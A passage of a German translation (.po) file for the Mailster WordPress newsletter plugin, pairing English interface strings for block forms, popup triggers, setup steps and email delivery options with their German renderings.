auslösen" #: build/forms/form-wrapper/index.js:1 msgid "Mailster will show this popup after a give time. The preview will always trigger after 2 seconds." msgstr "Mailster zeigt dieses Popup nach einer bestimmten Zeit an. Die Vorschau wird immer nach 2 Sekunden ausgelöst." #: build/forms/form-wrapper/index.js:1 msgid "Delay in Seconds" msgstr "Verzögerung in Sekunden" #: build/forms/form-wrapper/index.js:1 msgid "Trigger after inactive" msgstr "Auslösen nach Inaktivität" #: build/forms/form-wrapper/index.js:1 msgid "Mailster will show this popup when the user doesn't do any interaction with the website. The preview will always trigger after 4 seconds." msgstr "Mailster zeigt dieses Popup an, wenn der Nutzer keine Interaktion mit der Website durchführt. Die Vorschau wird immer nach 4 Sekunden ausgelöst." #: build/forms/form-wrapper/index.js:1 msgid "Inactive for x Seconds" msgstr "Inaktiv für x Sekunden" #: build/forms/form-wrapper/index.js:1 msgid "Trigger after scroll" msgstr "Auslöser nach Scrollen" #: build/forms/form-wrapper/index.js:1 msgid "Mailster will show this popup once the user scrolls to a certain position on your website." msgstr "Mailster zeigt dieses Popup an, sobald der Nutzer zu einer bestimmten Position auf deiner Website scrollt." #: build/forms/form-wrapper/index.js:1 msgid "Scroll Position in %" msgstr "Scroll-Position in %" #: build/forms/form-wrapper/index.js:1 msgid "Trigger after click" msgstr "Auslösen mit Klick" #: build/forms/form-wrapper/index.js:1 msgid "Show the form once the user clicks on specific element on the website." msgstr "Zeige das Formular an, wenn der Nutzer auf ein bestimmtes Element auf der Website klickt." #: build/forms/form-wrapper/index.js:1 msgid "Selector" msgstr "Selektor" #: build/forms/form-wrapper/index.js:1 msgid "Trigger after exit intent" msgstr "Auslösen bei Exit Intent" #: build/forms/form-wrapper/index.js:1 msgid "Mailster will show this popup once the user tries to move away from the site. This doens't work on mobile." msgstr "Mailster zeigt dieses Popup an, sobald der Nutzer versucht, die Seite zu verlassen. Auf dem Handy funktioniert das nicht." #: build/forms/form-wrapper/index.js:1 msgid "End" msgstr "Ende" #: build/forms/form-wrapper/index.js:1 msgid "The start time is after the end time. Please fix schedule settings to function properly." msgstr "Die Startzeit liegt nach der Endzeit. Bitte korrigiere die Zeitplaneinstellungen, damit sie richtig funktionieren." #: build/forms/form-wrapper/index.js:1 msgid "Remove Entry" msgstr "Eintrag entfernen" #: build/forms/form-wrapper/index.js:1 msgid "Schedule" msgstr "Zeitplan" #: build/forms/form-wrapper/index.js:1 msgid "Show the form if at least one schedule applies." msgstr "Zeige das Formular, wenn mindestens ein Zeitplan zutrifft." #: build/forms/form-wrapper/index.js:1 msgid "Add Schedule" msgstr "Zeitplan hinzufügen" #: build/forms/form-wrapper/index.js:1 msgid "Appearance" msgstr "Erscheinungsbild" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Form Width" msgstr "Form Breite" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Set the with of your form in %" msgstr "Setze das With deines Formulars in %" #: build/forms/form-wrapper/index.js:1 msgid "Form Padding" msgstr "Formular-Padding" #: build/forms/form-wrapper/index.js:1 msgid "Show form" msgstr "Formular anzeigen" #: build/forms/form-wrapper/index.js:1 msgid "Mailster will show this popup again when it has been explicitly closed. If there is a conversation the popup will not show up again." msgstr "Mailster zeigt dieses Popup wieder an, wenn es explizit geschlossen wurde. Wenn es eine Konversation gibt, wird das Popup nicht wieder angezeigt." #: build/forms/form-wrapper/index.js:1 msgid "Always" msgstr "Immer" #: build/forms/form-wrapper/index.js:1 msgid "every 1 hour" msgstr "jede Stunde" #: build/forms/form-wrapper/index.js:1 msgid "every 12 hours" msgstr "alle 12 Stunden" #: build/forms/form-wrapper/index.js:1 msgid "every 24 hours" msgstr "alle 24 Stunden" #: build/forms/form-wrapper/index.js:1 msgid "every 1 week" msgstr "einmal in der Woche" #: build/forms/form-wrapper/index.js:1 msgid "every 1 month" msgstr "einmal im Monat" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Animation" msgstr "Animation" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Define how the popup should appear on the screen." msgstr "Lege fest, wie das Popup auf dem Bildschirm erscheinen soll." #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "None" msgstr "Keine" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "FadeIn" msgstr "Einblendung" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Shake" msgstr "Shake" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Swing" msgstr "Schaukel" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Heart Beat" msgstr "Herzschlag" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Tada" msgstr "Tada" #: build/form/index.js:233 build/forms/form-wrapper/index.js:1 msgid "Wobble" msgstr "Wackeln" #: build/forms/form-wrapper/index.js:1 msgid "You have enabled a setting on your device to minimize the amount of non-essential motion. Animations may not work properly." msgstr "Du hast eine Einstellung auf deinem Gerät aktiviert, die unwichtige Bewegungen minimiert. Die Animationen funktionieren möglicherweise nicht richtig." #: build/forms/form-wrapper/index.js:1 msgid "use Theme Style" msgstr "Theme Style verwenden" #: build/forms/form-wrapper/index.js:1 msgid "Enabled this form for %s." msgstr "Aktiviere dieses Formular für %s." #: build/forms/form-wrapper/index.js:1 msgid "Show the preview as currently logged in user." msgstr "Zeige die Vorschau als aktuell angemeldeter Benutzer." #: build/forms/form-wrapper/index.js:1 msgid "Please enable a Placement option on the right" msgstr "Bitte aktiviere eine Platzierungsoption auf der rechten Seite" #: build/forms/form-wrapper/index.js:1 msgid "This form is currently not displayed anywhere." msgstr "Dieses Formular wird derzeit nirgendwo angezeigt." #: build/forms/form-wrapper/index.js:1 msgid "Define your placement options" msgstr "Definiere deine Platzierungsoptionen" #: build/forms/form-wrapper/index.js:1 msgid "In Content" msgstr "Im Inhalt" #: build/forms/form-wrapper/index.js:1 msgid "Popup" msgstr "Popup" #: build/forms/form-wrapper/index.js:1 msgid "Please select a list" msgstr "Bitte wähle eine Liste" #: build/forms/form-wrapper/index.js:1 msgid "You have no GDPR field in place" msgstr "Du hast kein DSGVO-Feld eingerichtet" #: build/forms/form-wrapper/index.js:1 msgid "Values" msgstr "Werte" #: build/forms/form-wrapper/index.js:1 msgid "Define options for this input field" msgstr "Definiere Optionen für dieses Eingabefeld" #: build/forms/form-wrapper/index.js:1 msgid "set as default" msgstr "als Standard festlegen" #: build/forms/form-wrapper/index.js:1 msgid "Trash" msgstr "Papierkorb" #: build/forms/form-wrapper/index.js:1 msgid "Value #%d" msgstr "Wert #%d" #: build/forms/form-wrapper/index.js:1 msgid "Add new Value" msgstr "Neuen Wert hinzufügen" #: build/forms/form-wrapper/index.js:1 msgid "Colors & Borders" msgstr "Farben & Ränder" #: build/forms/form-wrapper/index.js:1 msgid "Apply to all input fields" msgstr "Auf alle Eingabefelder anwenden" #: build/forms/form-wrapper/index.js:1 msgid "Define a label for your field" msgstr "Definiere eine Bezeichnung für dein Feld" #: build/forms/form-wrapper/index.js:1 msgid "Inline Labels" msgstr "Inline Label" #: build/forms/form-wrapper/index.js:1 msgid "Automatically fixed broken Blocks." msgstr "Kaputte Blöcke werden automatisch repariert." #: build/forms/form-wrapper/index.js:1 msgid "Input Font Color" msgstr "Schrift" #: build/forms/form-wrapper/index.js:1 msgid "Input Border Color" msgstr "Farbe des Rahmens" #: build/forms/form-wrapper/index.js:1 msgid "Border Width" msgstr "Breite des Randes" #: build/forms/form-wrapper/index.js:1 msgid "Border Radius" msgstr "Border Radius" #: build/forms/form-wrapper/index.js:1 msgid "Input Styles" msgstr "Input Styles" #: build/forms/form-wrapper/index.js:1 msgid "Color" msgstr "Farbe" #: build/forms/form-wrapper/index.js:1 msgid "Opacity" msgstr "Opazität" #: build/forms/form-wrapper/index.js:1 msgid "Clear Media" msgstr "Medien entfernen" #: build/forms/form-wrapper/index.js:1 msgid "Form Styles" msgstr "Formstile" #: build/forms/form-wrapper/index.js:1 msgid "Tablet" msgstr "Tablet" #: build/forms/form-wrapper/index.js:1 msgid "Enter your custom CSS" msgstr "Gib dein eigenes CSS ein" #: build/forms/form-wrapper/index.js:1 msgid "Input fields" msgstr "Eingabefelder" #: build/forms/form-wrapper/index.js:1 msgid "Labels" msgstr "Label" #: build/forms/form-wrapper/index.js:1 msgid "Outside Wrapper" msgstr "Äußerer Wrapper" #: build/forms/form-wrapper/index.js:1 msgid "Close Button" msgstr "Schaltfläche Schließen" #: build/forms/form-wrapper/index.js:1 msgid "Open in Modal Window" msgstr "Im Fenster öffnen" #: build/forms/form-wrapper/index.js:1 msgid "Basic Input Styling" msgstr "Basic Input Styling" #: build/forms/form-wrapper/index.js:1 msgid "This option is useful if your theme doesn't add styling to input fields" msgstr "Diese Option ist nützlich, wenn dein Theme den Eingabefeldern kein Styling hinzufügt" #: build/forms/form-wrapper/index.js:1 msgid "Selectors" msgstr "Selektoren" #: build/forms/form-wrapper/index.js:1 msgid "Your CSS Rules" msgstr "Deine CSS-Regeln" #: build/forms/form-wrapper/index.js:1 msgid "Choose Selector" msgstr "Selektor wählen" #: build/forms/form-wrapper/index.js:1 msgid "Enter your custom CSS here. Every declaration will get prefixed to work only for this specific form." msgstr "Gib hier dein benutzerdefiniertes CSS ein. Jede Deklaration wird mit einem Präfix versehen, damit sie nur für dieses spezielle Formular funktioniert." #: build/forms/form-wrapper/index.js:1 msgid "Custom CSS" msgstr "Benutzerdefiniertes CSS" #: build/forms/form-wrapper/index.js:1 msgid "Impression" msgstr "Impression" #: build/forms/form-wrapper/index.js:1 msgid "Gets triggered whenever a form is visible to a user." msgstr "Wird ausgelöst, wenn ein Formular für einen Nutzer sichtbar ist." #: build/forms/form-wrapper/index.js:1 msgid "Gets triggered either when the for is explicitly opened (via a click) or via a trigger method. This event doesn't get triggered on forms in content." msgstr "Wird entweder ausgelöst, wenn das Formular explizit geöffnet wird (durch einen Klick) oder durch eine Trigger-Methode. Dieses Ereignis wird nicht bei Formularen im Inhalt ausgelöst." #: build/forms/form-wrapper/index.js:1 msgid "Gets triggered whenever a popup is closed." msgstr "Wird ausgelöst, wenn ein Popup geschlossen wird." #: build/forms/form-wrapper/index.js:1 msgid "Gets triggered whenever a form has been submitted successfully without errors." msgstr "Wird ausgelöst, wenn ein Formular erfolgreich und ohne Fehler abgeschickt wurde." #: build/forms/form-wrapper/index.js:1 msgid "Gets triggered whenever a form has been submitted with errors." msgstr "Wird ausgelöst, wenn ein Formular mit Fehlern eingereicht wurde." #: build/forms/form-wrapper/index.js:1 msgid "Define code triggered on Events" msgstr "Definiere Code, der bei Ereignissen ausgelöst wird" #: build/forms/form-wrapper/index.js:1 msgid "You can use certain events to trigger custom JavaScript code on your form. This can be helpful if you want to connect your Analytics with those events and track them in your reports." msgstr "Du kannst bestimmte Ereignisse nutzen, um benutzerdefinierten JavaScript-Code auf deinem Formular auszulösen. Das kann hilfreich sein, wenn du dein Analytics mit diesen Ereignissen verbinden und sie in deinen Berichten verfolgen willst." #: build/forms/form-wrapper/index.js:1 msgid "Learn more about Events" msgstr "Erfahre mehr über Events" #: build/forms/form-wrapper/index.js:1 msgid "Events" msgstr "Events" #: build/forms/form-wrapper/index.js:1 msgid "Form Name" msgstr "Formular Name" #: build/forms/form-wrapper/index.js:1 msgid "Define a name for your form." msgstr "Lege einen Namen für dein Formular fest." #: build/forms/form-wrapper/index.js:1 msgid "Add title" msgstr "Titel hinzufügen" #: build/forms/form-wrapper/index.js:1 msgid "Enable double opt in" msgstr "Double Opt-In aktivieren" #: build/forms/form-wrapper/index.js:1 msgid "New subscribers must confirm their subscription." msgstr "Neue Abonnenten müssen ihr Abonnement bestätigen." #: build/forms/form-wrapper/index.js:1 msgid "Users must check a checkbox to submit the form" msgstr "Benutzer müssen ein Kontrollkästchen aktivieren, um das Formular abzuschicken" #: build/forms/form-wrapper/index.js:1 msgid "Merge Data" msgstr "Daten zusammenführen" #: build/forms/form-wrapper/index.js:1 msgid "Allow users to update their data with this form. Data like tags and lists will get merged together." msgstr "Erlaube den Nutzern, ihre Daten mit diesem Formular zu aktualisieren. Daten wie Tags und Listen werden zusammengeführt." #: build/forms/form-wrapper/index.js:1 msgid "Redirect subscribers after they submit the form. Keep empty to stay on the same page and show a success message." msgstr "Leite Abonnenten um, nachdem sie das Formular abgeschickt haben. Lass es leer, um auf der gleichen Seite zu bleiben und eine Statusmeldung anzuzeigen." #: build/forms/form-wrapper/index.js:1 msgid "Edit Error/Success Messages" msgstr "Fehler-/Erfolgsmeldungen bearbeiten" #: build/forms/form-wrapper/index.js:1 msgid "Single Opt In" msgstr "Single Opt-In" #: build/forms/form-wrapper/index.js:1 msgid "Subject for the confirmation message." msgstr "Betreff für die Bestätigungsnachricht." #: build/forms/form-wrapper/index.js:1 msgid "The headline is part of the confirmation message. If empty the subject line will be used." msgstr "Die Überschrift ist Teil der Bestätigungsnachricht. Wenn sie leer ist, wird die Betreffzeile verwendet." #: build/forms/form-wrapper/index.js:1 msgid "This is the text of the link subscribers have to click to confirm their email address." msgstr "Dies ist der Text des Links, auf den die Abonnenten klicken müssen, um ihre E-Mail-Adresse zu bestätigen." #: build/forms/form-wrapper/index.js:1 msgid "Redirect subscribers after they clicked the link." msgstr "Leite die Abonnenten um, nachdem sie auf den Link geklickt haben." #: build/forms/form-wrapper/index.js:1 msgid "Select Template" msgstr "Vorlage auswählen" #: build/forms/form-wrapper/index.js:1 msgid "Select a template to get started" msgstr "Wähle eine Vorlage aus, um loszulegen" #: build/forms/form-wrapper/index.js:1 msgid "Welcome to the Mailster Block Form Editor" msgstr "Willkommen beim Mailster Block Form Editor" #: build/forms/form-wrapper/index.js:1 msgid "Block forms are the future of newsletter signup forms for Mailster. No matter if you like to display a signup form after each blog post, explicitly on a specific page or triggered as popup, we got you covered." msgstr "Blockformulare sind die Zukunft der Newsletter-Anmeldeformulare für Mailster. Egal, ob du ein Anmeldeformular nach jedem Blogpost, explizit auf einer bestimmten Seite oder als Popup auslösen möchtest, wir haben alles für dich." #: build/forms/form-wrapper/index.js:1 msgid "If you run a promotion only for a certain time you can schedule your form to get displayed in the future." msgstr "Wenn du eine Aktion nur für eine bestimmte Zeit durchführst, kannst du dein Formular so planen, dass es in der Zukunft angezeigt wird." #: build/forms/form-wrapper/index.js:1 msgid "Start by choosing one of the provided template" msgstr "Wähle zunächst eine der bereitgestellten Vorlagen" #: build/forms/form-wrapper/index.js:1 msgid "Choose one of the predefined forms to get started. You can customize all aspects of the forms to match your current websites look and feel. Don't forget a name for your form to identify it later." msgstr "Wähle eines der vordefinierten Formulare aus, um loszulegen. Du kannst alle Aspekte der Formulare anpassen, damit sie zu deiner aktuellen Website passen. Vergiss nicht, deinem Formular einen Namen zu geben, um es später zu identifizieren." #: build/forms/form-wrapper/index.js:1 msgid "Add additional fields to your form." msgstr "Füge zusätzliche Felder zu deinem Formular hinzu." #: build/forms/form-wrapper/index.js:1 msgid "All your custom fields can be added to your signup forms so you get the right information from your leads. You can make them required on a form-to-form basis." msgstr "Alle benutzerdefinierten Felder können in deine Anmeldeformulare eingefügt werden, damit du die richtigen Informationen von deinen Leads erhältst. Du kannst sie für jedes Formular als erforderlich festlegen." #: build/forms/form-wrapper/index.js:1 msgid "You can also add most of the core blocks inside your form to get even more personal." msgstr "Du kannst auch die meisten der WordPress Core Blöcke innerhalb deines Formulars hinzufügen, um noch persönlicher zu werden." #: build/forms/form-wrapper/index.js:1 msgid "Customize the look and feel of your form." msgstr "Passe das Aussehen und die Bedienung deines Formulars an." #: build/forms/form-wrapper/index.js:1 msgid "Mailster Block forms provide a variation of settings to make the form custom to your site. Define colors and background images and apply custom CSS which only gets applied to the current form explicitly." msgstr "Mailster Blockformulare bieten eine Vielzahl von Einstellungsmöglichkeiten, um das Formular an deine Website anzupassen. Definiere Farben und Hintergrundbilder und wende benutzerdefinierte CSS an, die explizit nur auf das aktuelle Formular angewendet werden." #: build/forms/form-wrapper/index.js:1 msgid "Make GDPR compliant forms and get a custom double-opt-in texts from each form. Decide if users can signup to certain lists and redirect them to a custom page after form submission." msgstr "Erstelle DSGVO-konforme Formulare und erhalte für jedes Formular einen benutzerdefinierten Double-opt-in-Text. Entscheide, ob sich Nutzer/innen in bestimmte Listen eintragen können und leite sie nach dem Absenden des Formulars auf eine benutzerdefinierte Seite weiter." #: build/forms/form-wrapper/index.js:1 msgid "Decide where and when Mailster should display your form" msgstr "Entscheide, wo und wann Mailster dein Formular anzeigen soll" #: build/forms/form-wrapper/index.js:1 msgid "Mailster can automatically place your form as popup or inside your content on defined pages. Define further conditions like time frames or trigger events to get the form in front of your visitors at the right time." msgstr "Mailster kann dein Formular automatisch als Popup oder innerhalb deines Inhalts auf bestimmten Seiten platzieren. Definiere weitere Bedingungen wie Zeitfenster oder Ereignisse, um das Formular zum richtigen Zeitpunkt vor deine Besucher zu bringen." #: build/forms/form-wrapper/index.js:1 msgid "Get started" msgstr "Los geht's" #: build/forms/form-wrapper/index.js:1 msgid "Mailster Forms Welcome Guide" msgstr "Mailster Formulare Willkommensleitfaden" #: build/forms/form-wrapper/index.js:1 msgid "Display form after:" msgstr "Formular anzeigen nach:" #: build/forms/form-wrapper/index.js:1 msgid "Form will be displayed at the very bottom if no matching elements were found." msgstr "Das Formular wird ganz unten angezeigt, wenn keine passenden Elemente gefunden wurden." #: build/forms/form-wrapper/index.js:1 msgid "Select %s…" msgstr "Wähle %s..." #: build/forms/form-wrapper/index.js:1 msgid "Display on these %s with these %s" msgstr "Anzeige auf diesen %s mit diesen %s" #: build/forms/form-wrapper/index.js:1 msgid "Display on these %s" msgstr "Anzeige auf diesen %s" #: build/forms/form-wrapper/index.js:1 msgid "Display Options" msgstr "Anzeigeoptionen" #: includes/freemius.php:102 msgid "Envato Purchase Code" msgstr "Envato Purchase Code" #: includes/freemius.php:111 msgid "Freemius Account" msgstr "Freemius Konto" #: includes/updates.php:714 msgid "Welcome to Mailster 4" msgstr "Willkommen bei Mailster 4" #: includes/updates.php:715 msgid "Thank you for upgrading to Mailster 4! There are a few features and updates you should explore to get acquainted with Mailster 4." msgstr "Vielen Dank für dein Upgrade auf Mailster 4! Es gibt ein paar Funktionen und Updates, die du kennenlernen solltest, um dich mit Mailster 4 vertraut zu machen." #: includes/updates.php:716 msgid "We've prepared some articles to assist you in navigating the updates and changes." msgstr "Wir haben einige Artikel vorbereitet, die dir bei der Navigation durch die Aktualisierungen und Änderungen helfen sollen." #: includes/updates.php:718 msgid "Get Started with Block Forms" msgstr "Erste Schritte mit Blockformularen" #: includes/updates.php:719 msgid "Get Started with Automations" msgstr "Erste Schritte mit Automatisierungen" #: includes/updates.php:720 msgid "Convert your existing Forms to the new Block Forms" msgstr "Konvertiere deine bestehenden Formulare in die neuen Blockformulare" #: includes/updates.php:721 msgid "Convert your Newsletter Homepage" msgstr "Konvertiere deine Newsletter Homepage" #: includes/updates.php:723 msgid "Read the Changelog" msgstr "Changelog lesen" #. Plugin Name of the plugin #: mailster.php msgid "Mailster - Email Newsletter Plugin for WordPress" msgstr "Mailster - E-Mail Newsletter Plugin für WordPress" #. Plugin URI of the plugin #: mailster.php msgid "https://mailster.co" msgstr "https://mailster.co" #. Author of the plugin #: mailster.php msgid "EverPress" msgstr "EverPress" #. Author URI of the plugin #: mailster.php msgid "https://everpress.co" msgstr "https://everpress.co" #: build/workflows/triggers/index.js:1 msgid "Invalid Steps" msgstr "Ungültige Schritte" #: views/health.php:10 msgid "Gmail and Yahoo Mail have introduced new requirements for email senders. Starting February 2024, these requirements will impact senders who distribute more than 5,000 bulk messages daily or have more than 0.3% of their messages reported as spam. Non-compliance with these new guidelines could lead to Gmail and Yahoo rejecting the delivery of messages to their users." msgstr "Gmail und Yahoo Mail haben neue Anforderungen für E-Mail-Versender eingeführt. Ab Februar 2024 werden diese Anforderungen Versender betreffen, die täglich mehr als 5.000 Massennachrichten versenden oder bei denen mehr als 0,3 % ihrer Nachrichten als Spam gemeldet werden. Die Nichteinhaltung dieser neuen Richtlinien kann dazu führen, dass Gmail und Yahoo die Zustellung von Nachrichten an ihre Nutzer/innen ablehnen." #: views/health.php:11 msgid "When you initiate a health check, an email will be sent to our server to process the test and return the result. We do not share any of this data with a third party but we use it to check the content and your deliverability. We keep the right to track anonymously usage data." msgstr "Wenn du diesen Email-Gesundheits-Check auslöst, wird eine E-Mail an unseren Server gesendet, um den Test zu verarbeiten und das Ergebnis zurückzusenden. Wir geben diese Daten nicht an Dritte weiter, sondern verwenden sie, um den Inhalt und deine Zustellbarkeit zu überprüfen. Wir behalten uns das Recht vor, die Nutzungsdaten anonymisiert zu verfolgen." #: views/health.php:51 msgid "Start Health Check" msgstr "Health Check starten" #: views/health.php:53 msgid "Get help from a Codeable Expert" msgstr "Hol dir Hilfe von einem Codeable-Experten" #: views/newsletter/editbar.php:331 views/newsletter/template.php:124 msgid "Module Name" msgstr "Modulname" #: views/newsletter/options.php:41 msgid "Save Color Schema" msgstr "Farbschema speichern" #: views/newsletter/options.php:66 msgid "Delete all Custom Schemas" msgstr "Alle benutzerdefinierten Schemata löschen" #: views/newsletter/template.php:124 msgid "Module name" msgstr "Modulname" #: views/newsletter/template.php:127 msgid "Save this module to use it later. Custom modules will appear at the top of the module selector list." msgstr "Speichere dieses Modul, um es später zu verwenden. Benutzerdefinierte Module erscheinen oben in der Modulauswahl-Liste." #: views/setup.php:17 msgid "Business Details" msgstr "Business Details" #: views/setup.php:18 msgid "Sending Information" msgstr "Sendeinformationen" #: views/setup.php:19 msgid "Privacy & Compliance" msgstr "Datenschutz & Compliance" #: views/setup.php:21 msgid "What should your campaigns look like?" msgstr "Wie sollen deine Kampagnen aussehen?" #: views/setup.php:22 msgid "What is your preferred method for email delivery?" msgstr "Was ist deine bevorzugte Methode für den E-Mail-Versand?" #: views/setup.php:24 msgid "Join the Community" msgstr "Werde Mitglied der Community" #: views/setup.php:72 msgid "Back to \"%s\"" msgstr "Zurück zu \"%s\"" #: views/setup.php:72 msgid "Go Back" msgstr "Zurück gehen" #: views/setup/community.php:5 msgid "Ways you can participate with, learn from, and support other like-minded business owners and entrepreneurs." msgstr "Wege, wie du mit anderen gleichgesinnten Unternehmern und Unternehmerinnen zusammenarbeiten, von ihnen lernen und sie unterstützen kannst." #: views/setup/community.php:8 msgid "X (formerly Twitter)" msgstr "X (früher Twitter)" #: views/setup/community.php:9 msgid "Stay informed with the latest updates, information, and tips from Mailster." msgstr "Bleib auf dem Laufenden mit den neuesten Updates, Informationen und Tipps von Mailster." #: views/setup/community.php:10 views/setup/community.php:16 msgid "Follow on %s" msgstr "Folge auf %s" #: views/setup/community.php:14 msgid "Facebook" msgstr "Facebook" #: views/setup/community.php:15 msgid "Stay informed with the latest updates, information, and tips from Mailster by following us on Facebook." msgstr "Bleib auf dem Laufenden mit den neuesten Updates, Informationen und Tipps von Mailster, indem du uns auf Facebook folgst." #: views/setup/community.php:20 msgid "Facebook Group" msgstr "Facebook-Gruppe" #: views/setup/community.php:21 msgid "Connect with fellow Mailster users to get help and guidance on various Mailster-related matters." msgstr "Verbinde dich mit anderen Mailster-Nutzern, um Hilfe und Anleitung zu verschiedenen Mailster-bezogenen Themen zu erhalten." #: views/setup/delivery.php:23 msgid "Send your campaigns via SMTP. You need to provide a SMTP Host, Username and Password." msgstr "Versende deine Kampagnen über SMTP. Du musst einen SMTP-Host, einen Benutzernamen und ein Passwort angeben." #: views/setup/delivery.php:30 msgid "Send your campaigns via AmazonSES. You need to create an IAM User with the right permissions." msgstr "Sende deine Kampagnen über AmazonSES. Du musst einen IAM-Benutzer mit den richtigen Berechtigungen anlegen." #: views/setup/delivery.php:37 msgid "Send your campaigns via SparkPost. You need to create an API Key in your SparkPost Account." msgstr "Um deine Kampagnen über SparkPost zu versenden, musst du einen API-Schlüssel in deinem SparkPost-Konto erstellen." #: views/setup/delivery.php:44 msgid "Send your campaigns via Mailgun. You need to create an API Key in your Mailgun Account." msgstr "Um deine Kampagnen über Mailgun zu versenden, musst du einen API-Schlüssel in deinem Mailgun-Konto erstellen." #: views/setup/delivery.php:51 msgid "Send your campaigns via SendGrid. You need to create an API Key in your SendGrid Account." msgstr "Um deine Kampagnen über SendGrid zu versenden, musst du einen API-Schlüssel in deinem SendGrid-Konto erstellen." #: views/setup/delivery.php:58 msgid "Send your campaigns via MailerSend. You need to create an API Key in your MailerSend Account." msgstr "Um deine Kampagnen über MailerSend zu versenden, musst du einen API-Schlüssel in deinem MailerSend-Konto erstellen." #: views/setup/delivery.php:65 msgid "Send your campaigns via Gmail. You need to create an App Password for Mailster in your Google Account." msgstr "Du musst ein App-Passwort für Mailster in deinem Google-Konto einrichten, um deine Kampagnen über Gmail zu versenden." #: views/setup/delivery.php:72 msgid "Send your campaigns via MailJet. You need to create an API Key in your MailJet Account." msgstr "Um deine Kampagnen über MailJet zu versenden, musst du einen API-Schlüssel in deinem MailJet-Konto erstellen." #: views/setup/delivery.php:97 msgid "Send a test message to your current from address via \"%s\"" msgstr "Sende eine Testnachricht an deine aktuelle Absenderadresse über \"%s\"" #: views/setup/delivery.php:98 msgid "Save Delivery Settings" msgstr "Zustellungseinstellungen speichern" #: views/setup/delivery.php:101 msgid "Use %s" msgstr "Verwende %s" #: views/setup/delivery.php:108 msgid "Signup for an %s account" msgstr "Registriere dich für ein %s Konto" #: views/setup/homepage.php:152 msgid "You can update the form, content and texts later." msgstr "Du kannst das Formular, den Inhalt und die Texte später aktualisieren." #: views/setup/sending.php:7 msgid "Please update the default settings for your email campaigns. You can customize these settings for each individual campaign." msgstr "Bitte aktualisiere die Standardeinstellungen für deine E-Mail-Kampagnen. Du kannst diese Einstellungen für jede einzelne Kampagne anpassen." #: views/setup/start.php:9 msgid "Thanks for Testing Mailster!" msgstr "Danke, dass du Mailster getestet hast!" #: views/setup/start.php:18 msgid "You are currently using the trial version of Mailster. You can use all features of Mailster for 14 days. After that you need to purchase a license to continue using Mailster." msgstr "Du verwendest gerade die Testversion von Mailster. Du kannst alle Funktionen von Mailster 14 Tage lang nutzen. Danach musst du eine Lizenz erwerben, um Mailster weiter nutzen zu können." #: views/setup/start.php:23 msgid "Skip the Wizard" msgstr "Den Assistenten überspringen" #: views/setup/templates.php:5 msgid "Mailster offers a variety of templates. Please select the design that best matches how you want your email newsletter to appear." msgstr "Mailster bietet eine Vielzahl von Vorlagen an. Bitte wähle das Design aus, das am besten zu dem passt, wie du deinen E-Mail-Newsletter gestalten möchtest." #: views/setup/templates.php:6 msgid "The previews below should provide you with an idea of how your campaign will appear. You have the flexibility to make content adjustments and modify the visual aesthetics at any time." msgstr "Die folgenden Vorschaubilder sollen dir einen Eindruck davon vermitteln, wie deine Kampagne aussehen wird. Du kannst jederzeit inhaltliche Anpassungen vornehmen und die optische Gestaltung verändern." #: views/setup/templates.php:23 msgid "You can download other available templates later in the templates section." msgstr "Andere verfügbare Vorlagen kannst du später im Bereich Vorlagen herunterladen." #: views/templates/sample.php:59 msgid "You have to upgrade your plan to access this template!" msgstr "Du musst deinen Plan upgraden, um auf diese Vorlage zugreifen zu können!" #: views/templates/sample.php:61 msgid "Upgrade to" msgstr "Upgrade auf" #: classes/automation.class.php:260 views/templates/sample.php:71 msgid "Compare Plans" msgstr "Pläne vergleichen" #: views/templates/template.php:51 msgid "An update to this template is avilable but it requires Mailster version %s or above. Please update first." msgstr "Ein Update dieser Vorlage ist verfügbar, aber es erfordert die Mailster-Version %s oder höher. Bitte aktualisiere zuerst." #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This section is displayed if users visit the newsletter homepage. It's your regular signup form for the newsletter." msgstr "Dieser Bereich wird angezeigt, wenn Nutzer die Newsletter-Startseite besuchen. Es ist dein reguläres Anmeldeformular für den Newsletter." #: build/form/index.js:229 build/homepage-context/index.js:1 #: build/homepage/index.js:1 msgid "This section to displayed when people click on the link in the confirmation email." msgstr "Dieser Abschnitt wird angezeigt, wenn du auf den Link in der Bestätigungs-E-Mail klickst." #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "[Section] %s" msgstr "[Abschnitt] %s" #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "Show all sections" msgstr "Alle Abschnitte anzeigen" #: build/form/index.js:233 build/homepage-context/index.js:5 #: build/homepage/index.js:5 msgid "Show all sections at once. This is only for preview purposes." msgstr "Zeige alle Abschnitte auf einmal. Dies dient nur der Vorschau." #: build/homepage/index.js:5 msgid "Mailster Legacy Shortcodes have been detected!" msgstr "Mailster Legacy Shortcodes wurden entdeckt!" #: build/homepage/index.js:5 msgid "If you use the legacy shortcodes (%s) you can remove them now." msgstr "Wenn du die alten Shortcodes verwendest (%s), kannst du sie jetzt entfernen." #: build/homepage/index.js:5 msgid "The new newsletter homepage block will replace them." msgstr "Der neue Newsletter-Homepage-Block wird sie ersetzen." #: build/homepage/index.js:5 msgid "Remove Legacy Shortcodes" msgstr "Veraltete Shortcodes entfernen" #: build/homepage/index.js:5 msgid "Keep them" msgstr "Behalte sie" #: build/workflows/email/index.js:1 msgid "Send Email %s" msgstr "E-Mail senden %s" #: build/workflows/trigger/index.js:1 msgid "Offset" msgstr "Offset" #: build/workflows/trigger/index.js:1 msgid "Offset the time to trigger either before or after the defined date." msgstr "Verschiebe die Zeit, um entweder vor oder nach dem festgelegten Datum auszulösen." #: build/workflows/trigger/index.js:1 msgid "but %s before the date." msgstr "aber %s vor dem Datum." #: build/workflows/trigger/index.js:1 msgid "but %s after the date." msgstr "aber %s nach dem Datum." #: build/workflows/trigger/index.js:1 msgid "Run unlimited times" msgstr "Unbegrenzt oft laufen" #: build/workflows/trigger/index.js:1 msgid "Number of runs" msgstr "Anzahl der Läufe" #: 